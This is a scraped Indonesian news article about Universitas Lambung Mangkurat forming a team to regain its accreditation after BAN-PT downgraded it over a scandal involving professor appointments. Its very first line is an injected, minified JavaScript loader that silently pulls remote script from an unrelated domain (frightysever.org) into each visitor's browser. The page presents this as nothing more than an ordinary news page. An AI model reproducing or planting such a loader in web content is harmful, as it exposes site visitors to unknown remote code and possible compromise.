(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

ULM Ajukan Akreditasi Ulang, Bentuk Tim Reakreditasi


KANALKALIMANTAN.COM, BANJARMASIN – Tim percepatan pemulihan akreditasi Universitas Lambung Mangkurat (ULM) Banjarmasin yang diketuai oleh Dr Iwan Alfanie mulai bekerja sejak Jumat (28/9/2024) kemarin.

Mereka terdiri dari lima kelompok, yakni tim laporan evaluasi diri (LED), tim pendukung data, tim pendukung survey, tim pendukung IT, dan tim pendukung keuangan.

Mereka diberi nama AIPT (Akreditasi Institusi Perguruan Tinggi). Dan akan bekerja hingga batas waktu yang diberikan Badan Akreditasi Nasional Perguruan Tinggi (BAN-PT) untuk reakreditasi ULM.

Tim yang memulai pekerjaan pemilihan akreditasi yaitu tim LED, mereka melakukan penyusunan draf LED sebelum submit.

Baca juga: Skandal Guru Besar Picu Jebloknya Akreditasi, Mahasiswa ULM Demo Duduki Rektorat!

“Para pejuang pemulihan akreditasi, hari ini yang bekerja dalam kelompok adalah tim LED,” ujar Dr Iwan kepada Kanalkalimantan.com, Jumat (27/9/2024) malam.

Untuk tim LED, kata Dr Iwan, mereka dikarantina selama kurang lebih tiga hari sejak Jumat (27/9/2024) hingga Minggu (29/9/2024).

“Mereka dikarantina Jumat sampai Minggu, selanjutnya tugas mandiri, bergantian dengan tim lain,” ungkap Wakil Rektor ULM Bidang Akademik ini.

Sebelumnya, berdasarkan surat BAN-PT bernomor 1582/BAN-PT/LL/2024 tertanggal 20 September 2024, tertulis bahwa menurunkan peringkat akreditasi Perguruan Tinggi ULM Banjarmasin dari terkareditasi peringkat A (unggul) menjadi terakreditasi peringkat C (baik).

Baca juga: Prihatin Skandal Guru Besar ULM, Mahasiswa Ungkit Kejujuran dan Moralitas Kampus

Kemudian poin kedua berbunyi, pimpinan ULM dapat mengajukan akreditasi ulang perguruan tinggi paling lambat 2 bulan hingga tanggal 19 Oktober 2024.

Rektor ULM Prof Ahmad Alim Bachri pun tak menampik bahwa Maslah akreditasi yang dialami ULM tidak lepas dari kasus pengangkatan 11 guru besar yang terjadi di ULM.

“Ada surat yang dikirim ke ULM, Itu adalah peringatan kepada ULM, bahwa dengan adanya kasus guru besar, maka ULM diminta untuk kembali Melaku proses reakreditasi dalam waktu dua bulan,” kata Rektor ULM.

ULM pun menurutnya telah membentuk tim percepatan pemulihan yang diketuai oleh Wakil Rektor Bidang Akademik Dr Iwan Alfanie untuk melakukan reakreditasi.

Baca juga: Di Depan Mahasiswa, Rektor ULM: Tim Siapkan Reakreditasi dalam Dua Bulan

“Saya sampaikan, belum ada penurunan akreditasi Universitas Lambung Mangkurat, masih tetap terakreditasi A sampai saat ini, sekarang tim sudah sedang bekerja untuk mempersiapkan proses reakreditasi dengan jadwal dua bulan yang diberikan BAN-PT,” ujar Prof Alim. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: kk


Risa

Recent Posts

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

2 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

2 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

4 jam ago

Soal Surat Suara Pilwali Banjarbaru, Tak Ada Teknis Jelas dari KPU

KANALKALIMANTAN.COM, BANJARBARU - Kurang satu pekan menjelang hari pencoblosan Pilkada Serentak 2024, Komisi Pemilihan Umum… Read More

5 jam ago

Belasan Kios Pasar A Yani Pengambangan Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah kios pedagang di pasar tradisional A Yani Banjarmasin hangus akibat kebakaran.… Read More

8 jam ago

Narkoba 79,3 Kg Sabu Dimusnahkan, Jaringan Fredy Pratama Pakai Jalur Darat

KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) melalui Direktorat Reserse Narkoba (Ditresnarkoba) gagalkan… Read More

23 jam ago

This website uses cookies.